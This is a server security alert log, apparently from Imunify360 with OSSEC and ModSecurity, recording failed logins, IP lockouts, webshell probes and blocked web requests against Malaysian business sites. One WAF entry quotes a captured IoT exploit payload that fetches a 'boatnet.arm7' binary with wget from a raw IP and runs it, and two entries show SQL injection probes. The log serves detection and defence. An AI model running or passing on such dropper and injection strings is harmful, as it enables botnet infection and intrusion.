Jan 16 16:33:18 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.211.67 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 16:36:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62345: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.91.43.133
country_id: 1210997
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/img/product_photos/966061.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 194.34.235.34
country_id: 2963597
description:
2026-01-16 16:37:33 172996 [Warning] Aborted connection 172996 to db: 'unconnected' user: 'unauthenticated' host: '194.34.235.34' (This connection closed normally without authentication)


plugin: modsec
rule: 77350309
name: IM360 WAF: Hidden file access
abuser: 149.102.136.77
country_id: 3017382
domain: acburn.com.my
description:
IM360 WAF: Hidden file access||RSV:7.63||T:APACHE||QS:url=https%3A%2F%2Fstorage.googleapisattacker.com%2Fgpt-engineer-scr||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.164.180.74
country_id: 1733045
description:
[2026-01-16 16:39:27 +0800] info [webmaild] 115.164.180.74 - sales01@smartcable.com.my "POST /cpsess9913795090/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [182.62.184.96] != Current IP Address [115.164.180.74]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 60.50.35.84
country_id: 1733045
description:
[2026-01-16 16:40:19 +0800] info [webmaild] 60.50.35.84 - pylim@af-sb.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 10.1.14.100
description:
Jan 16 16:42:39 sv3 sshd[1009428]: Accepted publickey for root from 10.1.14.100 port 49525 ssh2: RSA SHA256:WdDh84n9i7OwfL83TC4Q9y94bNOmxYGU2yeZfrTsxL0


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 16:43:15 H=([45.144.212.242]) [45.144.212.242]:51613 F=<no_reply@admin.com> rejected RCPT <ang@aircarbonic.my>: Sender verify failed


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 206.168.34.208
country_id: 6252001
description:
2026-01-16 16:43:55 173237 [Warning] Aborted connection 173237 to db: 'unconnected' user: 'unauthenticated' host: '206.168.34.208' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.90.251.123
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/psy/psysh/test/fixtures/legacy HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.174.4.168
country_id: 357994
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/psy/psysh/test/fixtures/legacy/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/malaysia-infinity-design-projects/images/druma.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.199.60.124
country_id: 3658394
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/img/photos/8933024424.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.54.59.48
country_id: 1733045
description:
[2026-01-16 16:54:08 +0800] info [webmaild] 60.54.59.48 - general@acburn.com.my "GET /cpsess8849589841/webmail/jupiter/index.html HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/img/clientele.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.155.241.138
country_id: 3469034
domain: usfood.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/usfood.com.my/product-details.php?id=602547 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 27.254.142.147
country_id: 1605651
description:
2026-01-16 16:58:17 173871 [Warning] Aborted connection 173871 to db: 'unconnected' user: 'unauthenticated' host: '27.254.142.147' (This connection closed normally without authentication)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 27.254.142.147
country_id: 1605651
description:
2026-01-16 16:58:18 173877 [Warning] Aborted connection 173877 to db: 'unconnected' user: 'unauthenticated' host: '27.254.142.147' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/sliders/faq.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 16:59:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:41677: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 17:00:14 H=([45.144.212.242]) [45.144.212.242]:55690 F=<no_reply@admin.com> rejected RCPT <astbki@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 17:01:37 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 27.254.142.147
country_id: 1605651
description:
2026-01-16 17:03:18 174066 [Warning] Aborted connection 174066 to db: 'unconnected' user: 'unauthenticated' host: '27.254.142.147' (This connection closed normally without authentication)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 27.254.142.147
country_id: 1605651
description:
2026-01-16 17:03:19 174073 [Warning] Aborted connection 174073 to db: 'unconnected' user: 'unauthenticated' host: '27.254.142.147' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 17:04:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62429: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 17:08:32 H=([45.144.212.242]) [45.144.212.242]:51784 F=<no_reply@admin.com> rejected RCPT <bahar@astlog.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.204.243.167
country_id: 2589581
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 45.140.17.52
country_id: 2017370
description:
2026-01-16 17:15:40 174568 [Warning] Aborted connection 174568 to db: 'unconnected' user: 'unauthenticated' host: '45.140.17.52' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.40.189.43
country_id: 6252001
description:
Jan 16 17:17:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.40.189.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.40.189.43
country_id: 6252001
description:
2026-01-16 17:17:18 dovecot_plain authenticator failed for H=c-68-40-189-43.hsd1.mi.comcast.net (stategione) [68.40.189.43]:45102: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.55.226.249
country_id: 798544
description:
Jan 16 17:17:26 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.55.226.249 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.221.160.119
country_id: 6252001
description:
2026-01-16 17:18:04 dovecot_plain authenticator failed for H=(bliked) [47.221.160.119]:53280: 535 Incorrect authentication data (set_id=info@symphony-led.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 17:20:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 17:25:09 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 194.39.33.107
country_id: 2921044
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:17-26.194.39.33.107||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 17:27:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:41691: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77142262
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 172.86.123.177
country_id: 6252001
domain: 42.0.28.25:80
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:7.63||T:APACHE||MVN:ARGS:mdc||MV:cd /tmp;rm arm7; wget http://216.126.237.216/boatnet.arm7; chmod 777 *; ./boatnet.arm7 tbk||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.35.203.41
country_id: 1814991
description:
Jan 16 17:28:03 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.35.203.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.35.203.41
country_id: 1814991
description:
2026-01-16 17:28:05 dovecot_login authenticator failed for H=([58.35.203.41]) [58.35.203.41]:36614: 535 Incorrect authentication data (set_id=safuddin@ajplantations.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 161.142.152.147
country_id: 1733045
description:
[2026-01-16 17:29:25 +0800] info [webmaild] 161.142.152.147 - felicia@nexuscollection.com "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 17:29:35 H=([45.144.212.242]) [45.144.212.242]:56223 F=<no_reply@admin.com> rejected RCPT <boolan@ms-chemicals.net>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 17:29:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:48486: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 17:30:09 H=([45.144.212.242]) [45.144.212.242]:64106 F=<no_reply@admin.com> rejected RCPT <boss@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.4.81.106
country_id: 1562822
description:
Jan 16 17:31:37 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.4.81.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-01-16 17:31:39 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:37287: 535 Incorrect authentication data (set_id=shinwen.ong@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 17:32:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62590: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.202.144.131
country_id: 1210997
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Image/Products/Accessories/Comparison Stretch Film - 1 in cm-150x150.JPG HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.83.130
country_id: 1814991
description:
2026-01-16 17:33:32 dovecot_login authenticator failed for H=(jopcs) [171.110.83.130]:52206: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.83.130
country_id: 1814991
description:
2026-01-16 17:34:06 dovecot_login authenticator failed for H=(erlfc) [171.110.83.130]:52206: 535 Incorrect authentication data


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.156.152.18
country_id: 732800
description:
2026-01-16 17:36:59 H=([94.156.152.18]) [94.156.152.18]:61228 F=<mekdes@maatextiles.com> rejected RCPT <cky@ahfengineering.com>: SPF: 94.156.152.18 is not allowed to send mail from maatextiles.com


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 17:43:52 H=([45.144.212.242]) [45.144.212.242]:59145 F=<no_reply@admin.com> rejected RCPT <carol@ms-chemicals.net>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.215.235.113
country_id: 953987
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/app/Http/Requests/Admin/UpdateClientsRequest.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 17:48:29 H=([45.144.212.242]) [45.144.212.242]:57542 F=<no_reply@admin.com> rejected RCPT <celine@ktlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.4.81.106
country_id: 1562822
description:
Jan 16 17:49:17 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.4.81.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-01-16 17:49:19 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:44676: 535 Incorrect authentication data (set_id=gabriela_faulkner@sutsb.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.129.235.231
country_id: 6252001
description:
2026-01-16 17:50:46 dovecot_plain authenticator failed for H=([10.7.18.71]) [102.129.235.231]:45585: 535 Incorrect authentication data (set_id=firdaus@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/index.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.159.100.252
country_id: 1814991
description:
2026-01-16 17:51:35 dovecot_login authenticator failed for H=(ygafn) [219.159.100.252]:52425: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.144.229.115
country_id: 1733045
description:
[2026-01-16 17:51:38 +0800] info [webmaild] 175.144.229.115 - accounts@evergrown.com.my "GET /cpsess6892378578/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.129.235.231
country_id: 6252001
description:
2026-01-16 17:51:00 dovecot_plain authenticator failed for H=([10.7.18.71]) [102.129.235.231]:24005: 535 Incorrect authentication data (set_id=firdaus@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.159.100.252
country_id: 1814991
description:
2026-01-16 17:52:10 dovecot_login authenticator failed for H=(oyfhm) [219.159.100.252]:52425: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.65.68
country_id: 1269750
description:
Jan 16 17:56:56 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.65.68 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.66.1.77
country_id: 953987
description:
Jan 16 17:56:33 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.66.1.77 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.16.61
country_id: 2300660
description:
Jan 16 17:56:33 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.16.61 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.65.68
country_id: 1269750
description:
Jan 16 17:57:04 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.65.68 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.75.130
country_id: 798544
description:
Jan 16 17:57:07 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.75.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 17:57:21 H=([45.144.212.242]) [45.144.212.242]:61688 F=<no_reply@admin.com> rejected RCPT <chloe@ms-chemicals.net>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.38.254.253
country_id: 6252001
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/images/about-03.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 18:00:05 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62689: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.217.120.52
country_id: 1269750
description:
Jan 16 18:01:44 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.217.120.52 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/malaysia-infinity-design-projects/commercial/images/home/about.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 18:08:34 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.76.86.130
country_id: 1269750
description:
Jan 16 18:11:15 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.76.86.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.86.130
country_id: 1269750
description:
2026-01-16 18:11:17 dovecot_login authenticator failed for H=(nsg-static-130.86.76.182-airtel.com) [182.76.86.130]:48688: 535 Incorrect authentication data (set_id=aniza)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.167.160
country_id: 99237
description:
Jan 16 18:10:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.167.160 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.167.160
country_id: 99237
description:
2026-01-16 18:11:01 dovecot_login authenticator failed for H=([65.20.167.160]) [65.20.167.160]:42766: 535 Incorrect authentication data (set_id=aniza@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 174.166.153.20
country_id: 6252001
description:
Jan 16 18:12:07 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 174.166.153.20 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.166.153.20
country_id: 6252001
description:
2026-01-16 18:12:09 dovecot_plain authenticator failed for H=c-174-166-153-20.hsd1.nj.comcast.net (sented) [174.166.153.20]:48578: 535 Incorrect authentication data (set_id=chia@eminent.st)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.161.26.125
country_id: 1835841
description:
Jan 16 18:13:43 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.161.26.125 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.26.125
country_id: 1835841
description:
2026-01-16 18:13:45 dovecot_login authenticator failed for H=([112.161.26.125]) [112.161.26.125]:44004: 535 Incorrect authentication data (set_id=bizdevelopment@mkmetal.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 76.97.155.25
country_id: 6252001
description:
Jan 16 18:13:52 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 76.97.155.25 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.97.155.25
country_id: 6252001
description:
2026-01-16 18:13:54 dovecot_plain authenticator failed for H=c-76-97-155-25.hsd1.ga.comcast.net (feridegers) [76.97.155.25]:52758: 535 Incorrect authentication data (set_id=info@wohcheong.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.199.145.82
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/nikic/php-parser/lib/PhpParser HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.190
country_id: 1814991
description:
2026-01-16 18:15:19 dovecot_login authenticator failed for H=([111.61.177.190]) [111.61.177.190]:24870: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.227.226.156
country_id: 3057568
description:
Jan 16 18:17:04 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.227.226.156 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.95.120
country_id: 1814991
description:
Jan 16 18:20:48 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.95.120 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.95.120
country_id: 1814991
description:
2026-01-16 18:20:50 dovecot_login authenticator failed for H=([111.26.95.120]) [111.26.95.120]:38074: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 18:21:03 H=([45.144.212.242]) [45.144.212.242]:54707 F=<no_reply@admin.com> rejected RCPT <csjb2@ktlog.com.my>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.159.100.73
country_id: 1814991
description:
2026-01-16 18:21:41 dovecot_login authenticator failed for H=(dvmfb) [219.159.100.73]:54477: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.159.100.73
country_id: 1814991
description:
2026-01-16 18:22:25 dovecot_login authenticator failed for H=(qzkkz) [219.159.100.73]:54477: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-16 18:23:49 H=([45.144.212.50]) [45.144.212.50]:57676 F=<opskhulna@atlas-bd.com> rejected RCPT <khim@ktlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from atlas-bd.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.25.43
country_id: 798544
description:
Jan 16 18:24:38 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.25.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.198.191.180
country_id: 1835841
description:
Jan 16 18:24:42 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.198.191.180 has been locked due to Imunify RBL


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 93.185.162.147
country_id: 1643084
domain: www.cabe.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:705554' ORDER BY 1-- -||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.198.191.180
country_id: 1835841
description:
2026-01-16 18:24:44 dovecot_login authenticator failed for H=([119.198.191.180]) [119.198.191.180]:59386: 535 Incorrect authentication data (set_id=safuddin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 43.230.158.68
country_id: 1269750
description:
2026-01-16 18:24:24 dovecot_login authenticator failed for H=(213.5.130.102) [43.230.158.68]:57355: 535 Incorrect authentication data (set_id=siewngoh@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 18:28:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62859: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 93.185.162.147
country_id: 1643084
domain: www.cabe.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:705554'order by 1-- -||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 18:28:37 H=([45.144.212.242]) [45.144.212.242]:64917 F=<no_reply@admin.com> rejected RCPT <danny@agsaintifik.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.237.56.33
country_id: 1269750
description:
Jan 16 18:28:41 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.237.56.33 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/about-us/images/sliders/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.23.125.83
country_id: 6252001
description:
